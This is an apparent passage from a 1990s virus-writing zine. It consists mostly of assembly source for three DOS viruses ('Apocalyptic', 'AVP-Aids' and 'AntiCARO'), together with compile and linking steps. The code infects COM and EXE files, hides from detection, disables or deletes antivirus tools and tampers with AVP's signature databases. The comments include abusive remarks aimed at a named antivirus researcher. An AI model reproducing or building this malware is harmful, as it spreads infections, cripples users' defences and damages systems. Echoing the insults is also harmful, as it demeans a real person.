cmp word ptr es:[1],dx ; Or with active Psp ?
jne exit
go_on:
cmp word ptr es:[3],((virus_size+15)/16)+1
jb exit ; Is there space for me ?

push es ; If there is, I get resident


pop ds
mov di,es
add di,word ptr es:[3] ; Residence stuff; nothing
sub di,((virus_size+15)/16) ;special
push di
mov es,di
xor di,di
xor si,si
mov cx,8
rep movsw

pop di
inc di
mov word ptr es:[3],((virus_size+15)/16)+1
mov word ptr es:[1],di

mov byte ptr ds:[0],'M'


sub word ptr ds:[3],((virus_size+15)/16)+1
mov di,5
mov cx,12
xor al,al
rep stosb

push es cs
pop ds ax
inc ax
push ax
mov es,ax
xor di,di
mov si,bp
mov cx,(virus_size)
rep movsb

mov ax,3521h
int 21h
pop ds
mov ds:word ptr [int21h],bx
mov ds:word ptr [int21h+2],es
mov ah,25h
lea dx,main_center
int 21h

;***************************************************************************
; RETURN TO HOST
;***************************************************************************

exit:
pop ds ax es

dec byte ptr [flag+bp] ; Was it a Com ?


jz era_un_com

mov si,ds ; Recover stack


add si,cs:word ptr [ss_sp+bp]
add si,10h
cli
mov ss,si
mov sp,cs:word ptr [ss_sp+bp+2]
sti

mov si,ds ; Recover CS:IP


add si,cs:word ptr [cs_ip+bp+2]
add si,10h
push si
push cs:word ptr [cs_ip+bp]

retf ; Return to host


era_un_com:
mov di,100h ; If it's a Com, I make
push di ;it to return
lea si,bp+ss_sp
movsw
movsb
ret

condiciones:
push cx dx ; Payload trigger
mov ah,02ah ; Activates on 26th july
int 21h
cmp dx,071Ah
pop dx cx
jnz nain
stc
ret
nain:
clc
ret

;***************************************************************************
; TBDRIVER
;***************************************************************************

Tbdriver:
xor ax,ax ; Annulates TBdriver,...
mov es,ax ;really, this Av is a
les bx,es:[0084h] ;megashit.
cmp byte ptr es:[bx+2],0eah
jnz volvamos
push word ptr es:[bx+3]
push word ptr es:[bx+5]
mov es,ax
pop word ptr es:[0086h]
pop word ptr es:[0084h]
volvamos: ret

;***************************************************************************
; STEALTH 05700h
;***************************************************************************

Stealth_tiempo:
pushf
call dword ptr cs:[Int21h] ; Calls Int21h
push cx
and cl,01fh
xor cl,01fh
pop cx
jnz nada
or cl,01fh ; Changes seconds
nada:
retf 2

;****************************************************************************
; FCB STEALTH
;****************************************************************************

FCB_Stealth:

pushf ; Stealth of 11h/12h, by


call dword ptr cs:[Int21h] ;FCBs
test al,al
jnz sin_stealth

push ax bx es

mov ah,51h
int 21h
mov es,bx
cmp bx,es:[16h]
jnz No_infectado

mov bx,dx
mov al,[bx]
push ax
mov ah,2fh
int 21h
pop ax
inc al
jnz Normal_FCB
add bx,7h
Normal_FCB:
mov al,es:[bx+17h]
and al,1fh
xor al,1fh
jnz No_infectado

sub word ptr es:[bx+1dh],Virus_size ; Old lenght of


sbb word ptr es:[bx+1fh],0 ;file and "normal"
and byte ptr es:[bx+17h],0F1h ;seconds

No_infectado:
call condiciones
jnc sin_nada

mov word ptr es:[bx+1dh],029Ah ; Virus's payload


mov word ptr es:[bx+1fh],0h

sin_nada:
pop es bx ax
Sin_stealth: retf 2

;****************************************************************************
; INT 21h
;****************************************************************************

main_center: ; The main center !


cmp ax,5700h
jz stealth_tiempo
cmp ah,11h
jz fcb_stealth
cmp ah,12h
jz fcb_stealth
cmp ah,4eh
jz handle_stealth
cmp ah,4fh
jz handle_stealth
cmp ah,4bh
je ejecutar
jmp saltito

;****************************************************************************
; HANDLE STEALTH
;****************************************************************************
handle_stealth:

pushf ; Handle stealth, functions


call dword ptr cs:[Int21h] ;4eh/4fh
jc adios_handle

pushf
push ax es bx cx

anti_antivirus:

mov ah,62h
int 21h

mov es,bx ; Is it F-prot ?


mov es,word ptr es:[2ch]
xor bx,bx
mov cx,100h
fpr:
cmp word ptr es:[bx],'-F'
jz sin_infectar ; Si lo es, pasamos de hacer
inc bx ;el stealth
loop fpr

mov ah,2fh
int 21h

mov al,es:[bx+16h]
and al,1fh
xor al,1fh
jnz sin_infectar

sub word ptr es:[bx+1ah],Virus_size ; Subs virus size


sbb word ptr es:[bx+1ch],0 ;and places coherent
and byte ptr es:[bx+16h],0F1h ;seconds

sin_infectar:
call condiciones
jnc no_payload

mov word ptr es:[bx+1ah],029Ah ; payload


mov word ptr es:[bx+1ch],0h
no_payload:
pop cx bx es ax
popf
adios_handle:
retf 2

;****************************************************************************
; EXE INFECTION
;****************************************************************************

ejecutar:
pushf
push ax bx cx dx si di ds es bp

mov di,ds
mov si,dx

call tbdriver ; deactivates TbDriver

mov ax,3503h ; Int 3h points to the


int 21h ;int 21h: less size and we
push cs ;fuck'em a bit
pop ds
mov ah,25h
lea dx,saltito
int 21h
push es bx ax

mov ax,3524h ; We handle int 24h


int 3h
mov ah,25h
lea dx,int24h
int 3h
push es bx ax

mov ds,di
mov dx,si

Noloes:
mov ax,4300h ; Saves and clears file
int 3h ;attributes
mov ax,4301h
push ax cx dx
xor cx,cx
int 3h

vamos_a_ver_si_exe:

mov byte ptr [flag],00h


mov ax,3d02h ; Opens file
int 3h
jc we_close

infect: xchg ax,bx

push cs
pop ds
mov ah,3fh ; Reads header
mov cx,01ch
lea dx,cabecera
int 3h

mov al,byte ptr [cabecera] ; Makes comprobations


add al,byte ptr [cabecera+1]
cmp al,'M'+'Z'
jnz go_close
cmp word ptr [cabecera+18h],40h
jz go_close
cmp word ptr [cabecera+1ah],0
jnz go_close ; If it's all right, goes on
jmp conti

go_close:
mov ds,di
mov dx,si

buscar_final: cmp byte ptr ds:[si],0 ; Searches end in ds:si


je chequeo
inc si
jmp buscar_final

chequeo:
push cs ; Is it a .COM ?
pop es
lea di,comtxt
sub si,3
cmpsw
jne we_close
jmp infeccion_com

we_close:
jmp close

conti:
mov ax,5700h ; Time/date of file
push ax
int 3h
push dx cx
and cl,1fh
xor cl,1fh
jz close_ant

call pointerant
cmp ax,0200h
ja contt
noinz: xor si,si ; To avoid changing
jmp close_ant ;date of non-infected
;files
contt:

push ax
pop si
shr ax,4
shl dx,12
add dx,ax
sub dx,word ptr ds:cabecera+8
push dx

and si,0fh
push si
call copy
pop si

pop dx
mov ds:word ptr [cs_ip+2],dx
inc dx
mov ds:word ptr [ss_sp],dx
mov ds:word ptr [cs_ip],si
mov ds:word ptr [ss_sp+2],((virus_size+100h-15h)/2)*2

call pointerant

mov cx,200h
div cx
inc ax
mov word ptr [cabecera+2],dx
mov word ptr [cabecera+4],ax
mov word ptr [cabecera+0ah],((virus_size)/16)+10h

mov ax,4200h
call pointer
mov cx,1ch
lea dx,cabecera
push cs
pop ds
mov ah,40h
int 3h
close_ant:
pop cx dx ax
or si,si
je close
inc ax
or cl,1fh
int 3h

close:

pop dx cx ax ; Attributes
inc ax
int 21h

mov ah,03eh
int 3h

nahyuck:

pop ax dx ds ; Restores Int 24h y 3h


int 3h
pop ax dx ds
int 3h

pop bp es ds di si dx cx bx ax
popf
jmp saltito

Pointerant:
mov ax,4202h
Pointer:
xor cx,cx
cwd
int 3h
ret

;****************************************************************************
; COM INFECTION
;****************************************************************************

infeccion_com:

mov ax,3d02h ; Open


int 3h
jc close
xchg bx,ax

push cs
pop ds

mov byte ptr [flag],1h ; To make the virus know it's


;a com when restoring
mov ax,5700h ; Time/date
push ax
int 3h
push dx cx
and cl,1fh
xor cl,1fh
jz close_ant
quesiquevale:
mov ah,3fh ; Reads beggining of file
mov cx,3
lea dx,ss_sp
int 3h

call pointerant ; Lenght check


cmp ax,0200h
ja puedes_seguir
cmp ax,(0ffffh-virus_size-100h)
jna puedes_seguir
alnoin: jmp noinz

puedes_seguir:
sub ax,3
mov word ptr [cabecera],ax

call copy ; Appending

mov ax,4200h
call pointer

mov ah,40h ; Jumping to code at


lea dx,salt ;beggining
mov cx,3h
int 3h

jmp close_ant

;****************************************************************************
; DATA
;****************************************************************************

autor: db 'Apocalyptic by Wintermute/29A'


comtxt: db 'COM'
flag: db 0
salt: db 0e9h
cabecera: db 0eh dup (90h)
SS_SP: dw 0,offset virus_end+100h
Checksum: dw 0
CS_IP: dw offset host,0
Cequis: dw 0,0,0,0

Encrypt_end label byte

copy:
push cs
pop ds
xor bp,bp ; Don't let bp fuck us
call encryptant ; Encrypts
mov ah,40h ; Copies
mov cx,virus_size
lea dx,letsrock
int 3h
call deencrypt ; Deencrypts
ret

;****************************************************************************
; ENCRYPT ROUTINE
;****************************************************************************

encryptant:
lea si,encrypt_end ; Encrypts
mov cx,encrypt_size
enc_loop: mov dl,byte ptr [si]
sub dl,2h
xor dl,0f9h
ror dl,4
mov byte ptr [si],dl
dec si
loop enc_loop
ret

deencrypt:
lea si,encrypt_end+bp ; Deencrypts
mov cx,encrypt_size
mov di,8
encri: mov dl,byte ptr [si]
mov al,dl
rol dl,4
xor dl,0f9h
add dl,2h
mov byte ptr [si],dl
dec si
loop encri
ret

Int24h: mov al,3


ret
Saltito: db 0eah
int21h: dw 0,0

virus_end label byte

tomacha:
mov cs:word ptr encrypt_start-2+bp,deencrypt-encrypt_start
ret
; This is cause I don't like putting a stupid flag,
; this two commands won't be copied

CODIGO ends
END Letsrock

VSTACK segment para STACK 'Stack'

db 100h dup (90h)

ends
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; AVP-Aids, ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by Tcp/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; AVP is probably the best antivirus nowadays, but it's the most easily
; foolable too :) One of its best advantages is that the user himself is
; able to write his own detection and disinfection routines for any new
; virus he may find. But a virus author could use that facilities to
; write a virus, don't you think? :)
;
; All we need to have is the routine editor (AVPRO) which is included in
; the registrated version of AVP (2.1 and above), or the -older- one in-
; cluded in the shareware version of AVP 2.0, which is the one i used.
;
; This routine editor gives us a lot of functions and structures we can
; call. For more info on this, read their definitions in a file named
; DLINK.H which is included in AVP.
;
; Having access to the vectors of those functions, we may either change
; or redirect them as a normal virus does with the standard interrupt
; vectors. We could write trojans, droppers, a stealth routine, and even
; a whole virus... imagination is the only limit you have ;)
;
; As an example of this, i wrote a simple virus which i named AVP-Aids,
; because it works in the same way as the known disease does:
;
; - It destroys the organism defenses: deletes F-Prot, TbScan and Scan
; when AVP tries to scan them.
; - Favours the appearing of opportunist diseases: AVP won't detect any
; virus (only a few using it heuristic scanner), so any virus, though
; being a super-old one, will be able to infect the system.
;
; I recommend the reading of the file USERGUID.DOC which is included in
; the AVP pack for a better comprehension about the way AVP-Aids works.
;
; For getting a working dropper of AVP-Aids, first compile the next two
; files (tasm /m /ml /q avp_dec.asm; tasm /m /ml /q avp_jmp.asm).
;
; **** File: AVP_DEC.ASM ***********************************************

aids_decode segment byte public 'CODE'


assume cs:aids_decode

_decode proc far


aids proc far
push ds
push bp
mov bp,seg _Page_A ; Get AVP's data segment
mov ds,bp
les di,ds:_Page_A ; Get pointer to Page_A
mov cx,400h ; Length of Page
push cx
mov al,1 ; If al=0 then AVP detects the Win95.Boza.A
; in a high number of files... rules :-DDD
rep stosb ; Clear Page_A

les di,ds:_Page_B
pop cx
push cx
rep stosb ; Clear Page_B
les di,ds:_Header
pop cx
rep stosb ; Clear Header

push ds
pop es
lds si,ds:_File_Name ; File scanned
lodsw
cmp ax,'-f' ; Check for F-*.*
je del_file
cmp ax,'bt' ; Check for TBSCAN
jne check_sc
lodsw
check_sc:
cmp ax,'cs' ; Check for SCAN
jne no_scan
lodsw
cmp ax,'na'
jne no_scan
del_file:
push es
pop ds
lds dx,ds:_File_Full_Name
mov ah,41h
int 21h ; Delete file (F-Prot, Scan, TBScan)
no_scan:
pop bp
pop ds
xor ax,ax
retf ; Return to AVP (AX==0 <-> RCLEAN)
aids endp
_decode endp

aids_decode ends

public _decode
public aids
extrn _Page_A:dword
extrn _Page_B:dword
extrn _Header:dword
extrn _File_Name:dword
extrn _File_Full_Name:dword
end

; **** EOF: AVP_DEC.ASM ************************************************


;
; **** File: AVP_JMP.ASM ***********************************************

aids_jmp segment byte public 'CODE'


assume cs:aids_jmp

_jmp proc far


call far ptr aids ; call the aids procedure
retf ; Return to AVP
_jmp endp

aids_jmp ends

public _jmp
extrn aids:far
end
; **** EOF: AVP_JMP.ASM ************************************************
;
; Now that we got their corresponding OBJ files, we load AVPRO and edit
; a new viral database which we'll name AVP_AIDS.AVB. Add a File regis-
; ter, and write the name and the commentary you want, it doesn't mind.
; Now we link (Alt-L) an external routine. Choose AVP_DEC.OBJ and accept
; the register.
;
; Because the second OBJ file makes a call to a procedure of the first
; one, we will need AVP to load in memory the database we just created.
; For this we must save this base and add it to the active ones by pres-
; sing F4. Once we have done this, we must edit again AVP_AIDS.AVB and
; add a jmp register. Now link AVP_JMP.OBJ as an external routine, and
; if everything is right we'll be able to save and exit.
;
; After doing all this, we must compile the virus itself: for doing it,
; we must modify the database length equ (length_aids) with the correct
; value and follow the next steps:
;
; tasm /m avp_aids.asm
; tlink avp_aids.obj
; exe2bin avp_aids.exe avp_aids.com
; copy /b 6nops.com+avp_aids.avb+avp_aids.com avp-aids.com
;
; As *all_this* is quite hard to do, Mister Sandman has included a fully
; compiled second generation of this virus in \FILES :)
;
; **** File: AVP_AIDS.ASM **********************************************
;
; Name: AVP-Aids
; Author: Tcp / 29A
; When: 6-April-96 : 1st implementation
; November-96: Now doesn't hang AVP 2.2x
;
; Where: Spain
; Comments: A simple and lame virus to demostrate the
; AVPRO API capabilities... to make virii... ;)
; Also fools TBAV... (except this first generation)

LENGTH_AIDS equ 590 ; Place here the length of your base

avp_aids segment byte public


assume cs:avp_aids, ds:avp_aids, ss:avp_aids
org 0

start:
call get_delta
next:

avp_set db 'AVp.SeT',0
base db 'KRN386.AVB',13,10
f_base db 'kRn386.aVb',0
f_mask db '*.cOm',0
_format db 'c:\DoS\fORmaT.cOM',0

six db 0cdh,20h,?,?,?,? ; Original bytes


jmp_vir db 'PK' ; Fools TBScan
pop bx ; Fix ('PK'= push ax, dec bx)
db 0e9h ; jmp
ofs_vir dw ?

db '[AVP-Aids, Tcp / 29A]'


get_delta:
mov di,100h
pop bp
push di
sub bp,offset(next) ; Get delta-offset
mov di,100h
push di
lea si,[bp+six]
movsw
movsw
movsw ; Restore infected file
mov ah,2fh
int 21h ; Get DTA
push es
push bx
lea dx,[bp+offset(dta)]
mov ah,1ah
int 21h ; Set DTA
mov ah,4eh
xor cx,cx
lea dx,[bp+f_mask]
int 21h ; Find-first *.com
jc check_for_format
lea dx,[bp+offset(dta)+1eh]
call infect_file
check_for_format:
lea dx,[bp+offset(_format)] ; Try to infect c:\dos\format.com
call infect_file

mov ax,3d00h ; Search for avp.set


lea dx,[bp+avp_set]
int 21h
jc exec_host
xchg ax,bx
mov ah,3fh
lea dx,[bp+dta]
mov cx,666h ;-)
int 21h
push ax ; length(AVP.SET)
mov ah,3eh
int 21h ; Close file
mov ah,3ch
xor cx,cx
lea dx,[bp+f_base]
int 21h ; Create krn386.avb (viral database)
xchg ax,bx
mov ah,40h
push ax
lea dx,[bp+base]
mov cx,offset(f_base)-offset(base)
int 21h ; Write base name in file
pop ax
lea dx,[bp+dta]
pop cx
int 21h ; Write rest of AVP.SET
mov ah,3eh
int 21h
mov ah,41h
lea dx,[bp+avp_set]
int 21h ; Delete AVP.SET
mov ah,56h
mov di,dx
lea dx,[bp+f_base]
int 21h ; Rename krn386.avb to AVP.SET
mov ah,3ch
xor cx,cx
int 21h ; Reset krn386.avb
xchg ax,bx
mov ah,40h
lea dx,[bp+aids_base]
mov cx,LENGTH_AIDS
int 21h ; Write the AVP-AIDS base
mov ah,3eh
int 21h
exec_host:
pop dx
pop ds
mov ah,1ah
int 21h ; Restore DTA
push cs
push cs
pop ds
pop es
ret

infect_file:
mov ax,3d02h
int 21h ; Open
jc no_file
xchg ax,bx
mov ah,3fh
mov cx,6
lea dx,[bp+offset(six)]
int 21h ; Read 6 bytes
cmp ax,cx ; File >6 bytes?
jne close_file ; No? ten jmp
cmp word ptr [bp+six],'ZM' ; EXE file but .com extension?
je close_file ; Yes? then jmp
cmp word ptr [bp+six],'KP' ; Already infected?
je close_file ; Yes? then jmp
mov ax,4202h
cwd
xor cx,cx
int 21h ; Go end
mov ah,40h
mov dx,bp
mov cx,offset(vir_end)
int 21h ; Write virus
mov ax,4200h
cwd
xor cx,cx
int 21h ; Go start
mov ax,[bp+offset(dta)+1ah] ; File size
sub ax,6
mov [bp+ofs_vir],ax
mov ah,40h
lea dx,[bp+jmp_vir]
mov cx,6
int 21h ; Write jump to virus
mov ax,5701h
mov cx,[bp+offset(dta)+16h] ; Time
mov dx,[bp+offset(dta)+18h] ; Date
int 21h ; Set time/date to original
close_file:
mov ah,3eh
int 21h ; Close file
no_file:
ret

aids_base db LENGTH_AIDS dup(?)

vir_end:

dta:

avp_aids ends
end start
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; AntiCARO ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by Mister Sandman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; As i don't agree with CARO and with the way the name viruses, and spe-
; cially the way they *misnamed* VLAD's Bizatch, i decided to write this
; virus... just to protest against the biggest dickhead under the sun,
; Vesselin Bonchev, the virus-baptizer who does whatever he wants making
; abuse of his 'power' in that fucking sect named CARO.
;
; And as i know that, albeit he works at Frisk, his favourite AV is AVP,
; i just took the decission to write this baby, which will modify AVP so
; it will detect Bizatch as 'Bizatch_:P' and not as Boza.
;
; The virus is lame as hell (but i swear i wasn't able to reach Ratboy's
; or YAM's coding skills)... i only developed its originality. Anyway,
; it's interesting to see how does it modify AVP:
;
; It looks for AVP.SET in the current directory it's being loaded from.
; If it finds that file, it will insert a new viral database in the se-
; cond field, and later it will drop that new database, which contains
; the data needed for detecting Bizatch from AVP (have a look at the co-
; de, which is found at the end of this virus).
;
; As this new viral database has been loaded before the rest of the
; other databases (except of KERNEL.AVB, which must be always loaded in
; the first place), it will be the first one containing Bizatch's search
; strings, so it will be the fortunate participant to show the name of
; the virus it has detected :)
;
; About the virus itself, as i told before, it's a lame TSR COM infec-
; tor which hits files on execution (4b00h) and uses SFTs for performing
; the file infection.
;
; This virus is dedicated to my friends Quantum and Qark (ex VLAD) for
; obvious reasons and to Tcp/29A because of his help on its writing.
;
; Compiling instructions:
;
; tasm /m anticaro.asm
; tlink anticaro.obj
; exe2bin anticaro.exe anticaro.com

anticaro segment byte public


assume cs:anticaro,ds:anticaro
org 0

anticaro_start label byte


anticaro_size equ anticaro_end-anticaro_start

entry_point: call delta_offset


delta_offset: pop bp ; Get ë-offset
sub bp,offset delta_offset ; for l8r use

mov ax,3d02h ; Try to open AVP.SET


lea dx,[bp+avp_set] ; if it's found in the
int 21h ; current directory
jc mem_res_check
xchg bx,ax
mov ah,3fh ; Read the whole file
mov cx,29Ah ;-)
lea dx,[bp+anticaro_end]
int 21h
push ax

mov ax,4200h ; Lseek to the second


xor cx,cx ; line (first must
mov dx,0ch ; be always KERNEL.AVB)
int 21h

mov ah,40h ; Truncate file from


xor cx,cx ; current offset
int 21h

mov ah,40h ; Write our viral


mov cx,0dh ; database name
lea dx,[bp+bizatch_name] ; (BIZATCH.AVB) as
int 21h ; second field

mov ah,40h ; And write the rest


pop cx ; of the original
sub cx,0ch ; AVP.SET we read b4
lea dx,[bp+anticaro_end+0ch] ; to our buffer
int 21h

mov ah,3eh ; Close file


int 21h

mov ah,3ch ; Create the new viral


xor cx,cx ; database (BIZATCH.AVB)
lea dx,[bp+bizatch_base] ; which contains Bizatch's
int 21h ; detection data

xchg bx,ax
mov ah,40h ; Write the database
mov cx,base_size ; contents in the new
lea dx,[bp+bizatch_avb] ; created file
int 21h

mov ah,3eh ; Close file


int 21h

mem_res_check: mov ax,'CA' ; Check if we're already


mov bx,'RO' ; memory resident
int 21h

cmp ax,'SU' ; Coolio residency


cmp bx,'X!' ; check... CARO SUX! :P
je nothing_to_do

install: mov ax,es


dec ax
mov ds,ax ; Program's MCB segment
xor di,di

cmp byte ptr ds:[di],'Y' ; Is it a Z block?


jna nothing_to_do

sub word ptr ds:[di+3],((anticaro_size/10h)+2)


sub word ptr ds:[di+12h],((anticaro_size/10h)+2)
add ax,word ptr ds:[di+3]
inc ax

mov ds,ax
mov byte ptr ds:[di],'Z' ; Mark block as Z
mov word ptr ds:[di+1],8 ; System memory
mov word ptr ds:[di+3],((anticaro_size/10h)+1)
mov word ptr ds:[di+8],4f44h ; Mark block as owned
mov word ptr ds:[di+0ah],0053h ; by DOS (44h-4fh-53h,0)
inc ax

cld
push cs
pop ds
mov es,ax ; Copy virus to memory
mov cx,anticaro_size
lea si,[bp+anticaro_start]
rep movsb

push ds
mov ds,cx
mov es,ax ; Save int 21h's
mov si,21h*4 ; original vector
lea di,old_int_21h+1
movsw
movsw

mov word ptr [si-4],offset new_int_21h


mov word ptr [si-2],ax ; Set ours

pop ds
push ds ; CS=DS=ES
pop es

nothing_to_do: lea si,[bp+host_header] ; Restore host's header


mov di,100h ; and jump to cs:100h
push di ; for running it
movsw
movsw
ret

; **´ note_to_stupid_avers ;) Ã*******************************************

copyright db 0dh,0ah,'[AntiCARO, by Mister Sandman/29A]',0dh,0ah


db 'Please note: the name of this virus is [AntiCARO] '
db 'written by Mister Sandman of 29A... but... dear '
db 'Bontchy... name it however *you* (and not CARO) want,'
db ' as usual; we just don''t mind your childish '
db 'stupidity :)',0dh,0ah

; **´ AntiCARO's int 21h handler Ã****************************************

new_int_21h: cmp ax,'CA' ; Residency check


jnz execution? ; Are they asking my
cmp bx,'RO' ; opinion about CARO?
jnz execution?

mov ax,'SU' ; Ok, CARO SUX! :P


mov bx,'X!'
iret

execution?: cmp ax,4b00h ; This is the moment


je check_name ; we were waiting for ;)''
old_int_21h: db 0eah ; jmp xxxx:xxxx
dw 0,0 ; Original int 21h

; **´ Infection routines Ã************************************************

check_name: push ax bx cx dx ; Push all this shit


push si di ds es ; and clear direction
cld ; flag

mov ax,3d00h ; Open the file is


int 21h ; about to be executed

xchg bx,ax
call get_sft ; Get its SFT
jc dont_infect ; Shit... outta here

push cs ; CS=DS
pop ds

mov ax,word ptr es:[di+28h] ; Check extension


cmp ax,'OC' ; There aren't too many
je check_file ; 'COx' executables
; besides COMs, right? :)

dont_infect: pop es ds di si ; Pop out registers and


pop dx cx bx ax ; jmp to the original
jmp old_int_21h ; int 21h handler

check_file: xor al,al ; Clear and save file


xchg al,byte ptr es:[di+4] ; attributes
push ax

mov word ptr es:[di+2],2 ; Set read/write mode

mov ah,3fh ; Read first four


mov cx,4 ; bytes to our buffer
lea dx,host_header
int 21h

mov ax,word ptr host_header ; First word in AX


add al,ah ; M+Z or Z+M=0a7h :)
cmp al,0a7h ; So is it an EXE file?
je close_file ; Fuck it

cmp byte ptr host_header+3,90h ; Check file for any


je close_file ; previous infection

mov ax,word ptr es:[di+11h] ; Check file length


cmp ax,0faebh ; > 64235?
ja close_file

push ax ; Save length


sub ax,3 ; Make the initial
mov word ptr new_header+1,ax ; jmp to our code

mov word ptr es:[di+15h],0 ; Lseek to the start

mov ah,40h ; Write in our cooler


mov cx,4 ; header :)
lea dx,new_header
int 21h

pop ax ; Lseek to the end


mov word ptr es:[di+15h],ax ; of the file

mov ah,40h ; Append our code


mov cx,anticaro_size ; Huh? where's the
lea dx,anticaro_start ; call to the poly
int 21h ; engine? :)

close_file: mov ah,3eh ; Close our victim


int 21h

pop ax ; Restore attributes


mov byte ptr es:[di+4],al ; Pop shit and jump
jmp dont_infect ; to the original int 21h

; **´ Subroutines... or... oh, well, subroutine :) Ã**********************

get_sft: push ax bx
mov ax,1220h ; Get job file table
int 2fh ; in ES:DI (DOS 3+)
jc bad_sft

xor bx,bx ; Get the address of


mov ax,1216h ; the specific SFT for
mov bl,byte ptr es:[di] ; our handle
int 2fh

bad_sft: pop bx ax ; Pop registers and


ret ; return to the code

; **´ Data area Ã*********************************************************

host_header db 0cdh,20h,90h,90h ; Host's header


new_header db 0e9h,?,?,90h ; New header buffer
avp_set db 'avp.set',0 ; Can't you guess it? :)
bizatch_name db 'BIZATCH.AVB',0dh,0ah ; Our database field
bizatch_base db 'bizatch.avb',0 ; Viral database name

; **´ BIZATCH.AVB viral database Ã****************************************


;
; The hex dump below is the AVP full-compatible viral database which con-
; tains the necessary data for detecting Bizatch. This was done by compi-
; ling the 'belower' code, linking it to a new AVPRO record, and filling
; out some of this record's data fields. These are the steps:
;
; - Compile the source below this hex dump: tasm /m /ml /q biz_dec.asm.
; - Execute AVP's AVPRO.EXE.
; - Edit a new viral dabase (Alt-E, F3, and then type 'bizatch.avb').
; - Insert a file record in it (Alt-I, and then select 'File virus').
; - Fill the form as follows:
;
; ÉÍ[þ]ÍÍÍÍÍÍÍÍÍÍÍ File virus ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º Name: Bizatch_:P Type [ ] COM º
; º Comment: Fuck you, Bontchy [X] EXE º
; º [ ] SYS º
; º Area 1 Header [ ] WIN º
; º Offset 0000 º
; º Length 00 Method Delete º
; º Area 2 Page_C Area Header º
; º Offset 0000 From +0000 º
; º Length 0a Length +0000 º
; º To +0000 º
; > º Link Ü +0000 º
; º ßßßßßß Cut 0000 º
; > º Sum Ü 00000000 º
; º ßßßßßß 00000000 º
; º º
; º Ok Ü Cancel Ü º
; º ßßßßßßßßßß ßßßßßßßßßß º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
;
; - Link biz_dec.obj (Alt-L, and then select it).
; - Type in Bizatch's entry point for calculating its sum (Alt-S, don't
; select any file, and type in 'e8 00 00 00 00 5d 8b c5 2d 05' in the
; dump gap AVPRO will show you.
; - Save the new record and the new viral database.
;
; As you see, this is quite tedious to do, and that's why i included di-
; rectly the hex dump of the result of all these steps, which seems to me
; a bit more easy for you :)
;
; So skip the hex dump and have a look at biz_dec.asm's code, which is the
; really important thing of this virus.

base_start label byte


base_size equ base_end-base_start-3
bizatch_avb db 2dh,56h,0c2h,00h,00h,00h,00h,01h,0cch,07h,04h
db 0bh,0cch,07h,10h,0bh,00h,00h,01h,00h,00h,00h,00h
db 00h,0dh,0ah,41h,6eh,74h,69h,76h,69h,72h,61h,6ch
db 20h,54h,6fh,6fh,6ch,4bh,69h,74h,20h,50h,72h,6fh
db 0dh,0ah,20h,62h,79h,20h,45h,75h,67h,65h,6eh,65h
db 20h,4bh,61h,73h,70h,65h,72h,73h,6bh,79h,20h,0dh
db 0ah,28h,63h,29h,4bh,41h,4dh,49h,20h,43h,6fh,72h
db 70h,2eh,2ch,20h,52h,75h,73h,73h,69h,61h,20h,31h
db 39h,39h,32h,2dh,31h,39h,39h,35h,2eh,0dh,0ah,50h
db 72h,6fh,67h,72h,61h,6dh,6dh,65h,72h,73h,3ah,0dh
db 0ah,41h,6ch,65h,78h,65h,79h,20h,4eh,2eh,20h,64h
db 65h,20h,4dh,6fh,6eh,74h,20h,64h,65h,20h,52h,69h
db 71h,75h,65h,2ch,0dh,0ah,45h,75h,67h,65h,6eh,65h
db 20h,56h,2eh,20h,4bh,61h,73h,70h,65h,72h,73h,6bh
db 79h,2ch,0dh,0ah,56h,61h,64h,69h,6dh,20h,56h,2eh
db 20h,42h,6fh,67h,64h,61h,6eh,6fh,76h,2eh,0dh,0ah
db 0dh,0ah,00h,0dh,0ah,38h,00h,00h,00h,10h,00h,42h
db 69h,7ah,61h,74h,63h,68h,5fh,3ah,50h,00h,00h,00h
db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,03h
db 00h,00h,0ah,0fh,0feh,0ffh,0ffh,01h,00h,00h,00h,00h
db 00h,00h,00h,0ch,00h,00h,00h,00h,00h,00h,00h,00h,00h
db 00h,00h,00h,00h,0dh,01h,12h,00h,00h,00h,46h,75h,63h
db 6bh,20h,79h,6fh,75h,2ch,20h,42h,6fh,6eh,74h,63h,68h
db 79h,00h,0dh,02h,01h,01h,00h,00h,98h,07h,00h,28h,86h
db 00h,02h,03h,01h,0adh,8ch,21h,00h,07h,5fh,50h,61h
db 67h,65h,5fh,43h,00h,07h,5fh,48h,65h,61h,64h,65h
db 72h,00h,05h,5fh,53h,65h,65h,6bh,00h,05h,5fh,52h
db 65h,61h,64h,00h,53h,90h,0eh,00h,00h,01h,07h,5fh
db 64h,65h,63h,6fh,64h,65h,00h,00h,00h,97h,0a0h,8ah
db 00h,01h,00h,00h,1eh,55h,0bdh,00h,00h,8eh,0ddh,0c4h
db 3eh,00h,00h,26h,8bh,6dh,3ch,33h,0c0h,50h,55h,9ah
db 00h,00h,00h,00h,58h,58h,0c4h,3eh,00h,00h,0b8h,0f8h
db 00h,50h,06h,57h,9ah,00h,00h,00h,00h,83h,0c4h,06h
db 0c4h,3eh,00h,00h,26h,81h,3dh,50h,45h,75h,29h,26h
db 8bh,4dh,06h,51h,0b8h,28h,00h,50h,06h,57h,9ah,00h
db 00h,00h,00h,83h,0c4h,06h,59h,0c4h,3eh,00h,00h,26h
db 81h,3dh,76h,6ch,75h,08h,26h,81h,7dh,02h,61h,64h
db 74h,07h,0e2h,0dbh,33h,0c0h,5dh,1fh,0cbh,26h,0c4h
